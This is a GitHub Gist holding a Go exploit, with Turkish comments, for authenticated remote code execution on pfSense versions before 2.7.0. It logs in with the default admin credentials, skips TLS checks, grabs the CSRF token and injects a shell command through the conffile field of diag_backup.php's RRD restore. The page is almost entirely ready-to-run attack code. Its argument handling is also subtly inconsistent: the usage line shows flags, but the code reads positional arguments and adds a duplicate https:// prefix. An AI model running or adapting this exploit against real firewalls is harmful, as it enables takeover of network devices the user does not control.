Last active
August 3, 2023 06:13
-
-
Save ertugrulturan/ff41381511e1325671d4037c70d9e56f to your computer and use it in GitHub Desktop.
pfSense < v2.7.0 Authenticated RCE
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package main | |
import ( | |
"bytes" | |
"crypto/tls" | |
"fmt" | |
"io/ioutil" | |
"net/http" | |
"os" | |
) | |
func exploit(ip, port string) { | |
username := "admin" // PfSense kullanıcı adı | |
password := "pfsense" // PfSense parola | |
client := &http.Client{ | |
Transport: &http.Transport{ | |
TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, | |
}, | |
} | |
// İlk olarak oturum açma işlemini gerçekleştiriyoruz. | |
loginURL := fmt.Sprintf("https://%s:%s/index.php", ip, port) | |
loginData := fmt.Sprintf("usernamefld=%s&passwordfld=%s&login=Login", username, password) | |
loginReq, err := http.NewRequest("POST", loginURL, bytes.NewBufferString(loginData)) | |
if err != nil { | |
fmt.Println("Oturum açma isteği oluşturulamadı:", err) | |
return | |
} | |
loginReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") | |
loginResp, err := client.Do(loginReq) | |
if err != nil { | |
fmt.Println("Oturum açma hatası:", err) | |
return | |
} | |
defer loginResp.Body.Close() | |
// Oturum açma başarılı mı kontrol ediyoruz. | |
if loginResp.StatusCode != 302 { | |
fmt.Println("Oturum açma başarısız.") | |
return | |
} | |
// CSRF token alıyoruz. | |
diagBackupURL := fmt.Sprintf("https://%s:%s/diag_backup.php", ip, port) | |
csrfReq, err := http.NewRequest("GET", diagBackupURL, nil) | |
if err != nil { | |
fmt.Println("CSRF token isteği oluşturulamadı:", err) | |
return | |
} | |
csrfResp, err := client.Do(csrfReq) | |
if err != nil { | |
fmt.Println("CSRF token hatası:", err) | |
return | |
} | |
defer csrfResp.Body.Close() | |
csrfToken := "" | |
if csrfResp.StatusCode == 200 { | |
body, _ := ioutil.ReadAll(csrfResp.Body) | |
csrfToken = extractCSRFToken(string(body)) | |
} | |
if csrfToken == "" { | |
fmt.Println("CSRF token alınamadı.") | |
return | |
} | |
// Komut enjeksiyonu için payload oluşturuyoruz. | |
payload := "WAN_DHCP-quality.rrd';$(echo 'exploited' > /tmp/exploited);#" | |
// RRD dosyasını geri yüklüyoruz (komut enjeksiyonunu gerçekleştirmek için) | |
restoreURL := fmt.Sprintf("https://%s:%s/diag_backup.php", ip, port) | |
payloadData := fmt.Sprintf("__csrf_magic=%s&backuparea=rrddata&donotbackuprrd=yes&backupssh=yes&encrypt_password=&encrypt_password_confirm=&restorearea=rrddata&conffile=%s&decrypt_password=&restore=Restore+Configuration", | |
csrfToken, payload) | |
restoreReq, err := http.NewRequest("POST", restoreURL, bytes.NewBufferString(payloadData)) | |
if err != nil { | |
fmt.Println("Geriyükleme isteği oluşturulamadı:", err) | |
return | |
} | |
restoreReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") | |
restoreResp, err := client.Do(restoreReq) | |
if err != nil { | |
fmt.Println("Geriyükleme hatası:", err) | |
return | |
} | |
defer restoreResp.Body.Close() | |
fmt.Println("Komut enjeksiyonu tamamlandı.") | |
} | |
func extractCSRFToken(html string) string { | |
startIndex := bytes.Index([]byte(html), []byte("csrfMagicToken = \"")) | |
if startIndex == -1 { | |
return "" | |
} | |
startIndex += 18 // Skip "csrfMagicToken = \"" | |
endIndex := bytes.Index([]byte(html[startIndex:]), []byte("\";")) | |
if endIndex == -1 { | |
return "" | |
} | |
return html[startIndex : startIndex+endIndex] | |
} | |
func main() { | |
if len(os.Args) != 4 { | |
fmt.Println("Kullanım: ./main -s https://10.5.5.1 -p 80") | |
return | |
} | |
ip := os.Args[2] | |
port := os.Args[3] | |
exploit(ip, port) | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment